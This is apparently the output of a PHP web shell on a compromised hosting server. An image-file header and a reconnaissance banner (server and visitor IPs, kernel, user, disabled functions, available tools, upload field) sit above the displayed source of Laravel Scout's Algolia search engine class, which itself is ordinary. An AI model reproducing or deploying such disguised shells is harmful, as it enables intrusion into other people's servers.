����JFIF��x�x����'
Server IP : 78.140.185.180 / Your IP : 3.137.179.200 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/builderbox/public_html/vendor/laravel/scout/src/Engines/ |
Upload File : |
<?php namespace Laravel\Scout\Engines; use Algolia\AlgoliaSearch\SearchClient as Algolia; use Exception; use Illuminate\Database\Eloquent\SoftDeletes; use Illuminate\Support\LazyCollection; use Laravel\Scout\Builder; class AlgoliaEngine extends Engine { /** * The Algolia client. * * @var \Algolia\AlgoliaSearch\SearchClient */ protected $algolia; /** * Determines if soft deletes for Scout are enabled or not. * * @var bool */ protected $softDelete; /** * Create a new engine instance. * * @param \Algolia\AlgoliaSearch\SearchClient $algolia * @param bool $softDelete * @return void */ public function __construct(Algolia $algolia, $softDelete = false) { $this->algolia = $algolia; $this->softDelete = $softDelete; } /** * Update the given model in the index. * * @param \Illuminate\Database\Eloquent\Collection $models * @return void * * @throws \Algolia\AlgoliaSearch\Exceptions\AlgoliaException */ public function update($models) { if ($models->isEmpty()) { return; } $index = $this->algolia->initIndex($models->first()->searchableAs()); if ($this->usesSoftDelete($models->first()) && $this->softDelete) { $models->each->pushSoftDeleteMetadata(); } $objects = $models->map(function ($model) { if (empty($searchableData = $model->toSearchableArray())) { return; } return array_merge( ['objectID' => $model->getScoutKey()], $searchableData, $model->scoutMetadata() ); })->filter()->values()->all(); if (! empty($objects)) { $index->saveObjects($objects); } } /** * Remove the given model from the index. * * @param \Illuminate\Database\Eloquent\Collection $models * @return void */ public function delete($models) { $index = $this->algolia->initIndex($models->first()->searchableAs()); $index->deleteObjects( $models->map(function ($model) { return $model->getScoutKey(); })->values()->all() ); } /** * Perform the given search on the engine. * * @param \Laravel\Scout\Builder $builder * @return mixed */ public function search(Builder $builder) { return $this->performSearch($builder, array_filter([ 'numericFilters' => $this->filters($builder), 'hitsPerPage' => $builder->limit, ])); } /** * Perform the given search on the engine. * * @param \Laravel\Scout\Builder $builder * @param int $perPage * @param int $page * @return mixed */ public function paginate(Builder $builder, $perPage, $page) { return $this->performSearch($builder, [ 'numericFilters' => $this->filters($builder), 'hitsPerPage' => $perPage, 'page' => $page - 1, ]); } /** * Perform the given search on the engine. * * @param \Laravel\Scout\Builder $builder * @param array $options * @return mixed */ protected function performSearch(Builder $builder, array $options = []) { $algolia = $this->algolia->initIndex( $builder->index ?: $builder->model->searchableAs() ); if ($builder->callback) { return call_user_func( $builder->callback, $algolia, $builder->query, $options ); } return $algolia->search($builder->query, $options); } /** * Get the filter array for the query. * * @param \Laravel\Scout\Builder $builder * @return array */ protected function filters(Builder $builder) { $wheres = collect($builder->wheres)->map(function ($value, $key) { return $key.'='.$value; })->values(); return $wheres->merge(collect($builder->whereIns)->map(function ($values, $key) { return collect($values)->map(function ($value) use ($key) { return $key.'='.$value; })->all(); })->values())->values()->all(); } /** * Pluck and return the primary keys of the given results. * * @param mixed $results * @return \Illuminate\Support\Collection */ public function mapIds($results) { return collect($results['hits'])->pluck('objectID')->values(); } /** * Map the given results to instances of the given model. * * @param \Laravel\Scout\Builder $builder * @param mixed $results * @param \Illuminate\Database\Eloquent\Model $model * @return \Illuminate\Database\Eloquent\Collection */ public function map(Builder $builder, $results, $model) { if (count($results['hits']) === 0) { return $model->newCollection(); } $objectIds = collect($results['hits'])->pluck('objectID')->values()->all(); $objectIdPositions = array_flip($objectIds); return $model->getScoutModelsByIds( $builder, $objectIds )->filter(function ($model) use ($objectIds) { return in_array($model->getScoutKey(), $objectIds); })->sortBy(function ($model) use ($objectIdPositions) { return $objectIdPositions[$model->getScoutKey()]; })->values(); } /** * Map the given results to instances of the given model via a lazy collection. * * @param \Laravel\Scout\Builder $builder * @param mixed $results * @param \Illuminate\Database\Eloquent\Model $model * @return \Illuminate\Support\LazyCollection */ public function lazyMap(Builder $builder, $results, $model) { if (count($results['hits']) === 0) { return LazyCollection::make($model->newCollection()); } $objectIds = collect($results['hits'])->pluck('objectID')->values()->all(); $objectIdPositions = array_flip($objectIds); return $model->queryScoutModelsByIds( $builder, $objectIds )->cursor()->filter(function ($model) use ($objectIds) { return in_array($model->getScoutKey(), $objectIds); })->sortBy(function ($model) use ($objectIdPositions) { return $objectIdPositions[$model->getScoutKey()]; })->values(); } /** * Get the total count from a raw result returned by the engine. * * @param mixed $results * @return int */ public function getTotalCount($results) { return $results['nbHits']; } /** * Flush all of the model's records from the engine. * * @param \Illuminate\Database\Eloquent\Model $model * @return void */ public function flush($model) { $index = $this->algolia->initIndex($model->searchableAs()); $index->clearObjects(); } /** * Create a search index. * * @param string $name * @param array $options * @return mixed * * @throws \Exception */ public function createIndex($name, array $options = []) { throw new Exception('Algolia indexes are created automatically upon adding objects.'); } /** * Delete a search index. * * @param string $name * @return mixed */ public function deleteIndex($name) { return $this->algolia->initIndex($name)->delete(); } /** * Determine if the given model uses soft deletes. * * @param \Illuminate\Database\Eloquent\Model $model * @return bool */ protected function usesSoftDelete($model) { return in_array(SoftDeletes::class, class_uses_recursive($model)); } /** * Dynamically call the Algolia client instance. * * @param string $method * @param array $parameters * @return mixed */ public function __call($method, $parameters) { return $this->algolia->$method(...$parameters); } }